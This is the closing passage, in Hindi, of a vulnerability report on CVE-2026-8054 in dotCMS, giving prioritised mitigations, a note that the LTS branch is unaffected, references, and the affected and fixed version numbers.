P1 - आपातकालीनWAF नियम कॉन्फ़िगर करेंअस्थायी शमन उपाय, हमला ट्रैफ़िक रोकता है
P2 - महत्वपूर्णडेटाबेस अनुमतियाँ सीमित करेंशोषण के बाद प्रभाव की सीमा कम करता है
P3 - सुझावितअन्य एंडपॉइंट का सुरक्षा ऑडिट करेंजांचें कि क्या समान समस्याएं मौजूद हैं

7.4 LTS संस्करण स्पष्टीकरण

आधिकारिक तौर पर कहा गया है कि LTS (दीर्घकालिक समर्थन) संस्करण प्रभावित नहीं है, क्योंकि प्रभावित ऑडिट कोड शाखा को कभी भी LTS ट्री में बैकपोर्ट नहीं किया गया था। LTS संस्करण का उपयोग करने वाले उपयोगकर्ताओं को तत्काल अपग्रेड करने की आवश्यकता नहीं है।


8. संदर्भ

  1. NVD - CVE-2026-8054
  2. SentinelOne - CVE-2026-8054 Vulnerability Database
  3. dotCMS Security Advisory - SI-75
  4. dotCMS REST API Authentication
  5. GitHub PR #35553 - Fix
  6. Alan Turing Institute - TIER_2 CVE-2026-8054 Report

रिपोर्ट निर्माण समय: 2026-06-08 विश्लेषण उपकरण: Docker, curl, PostgreSQL भेद्यता संस्करण: dotCMS 25.11.04-1 फिक्स संस्करण: dotCMS 26.04.28-03 (PR #35553)

टूल डाउनलोड करें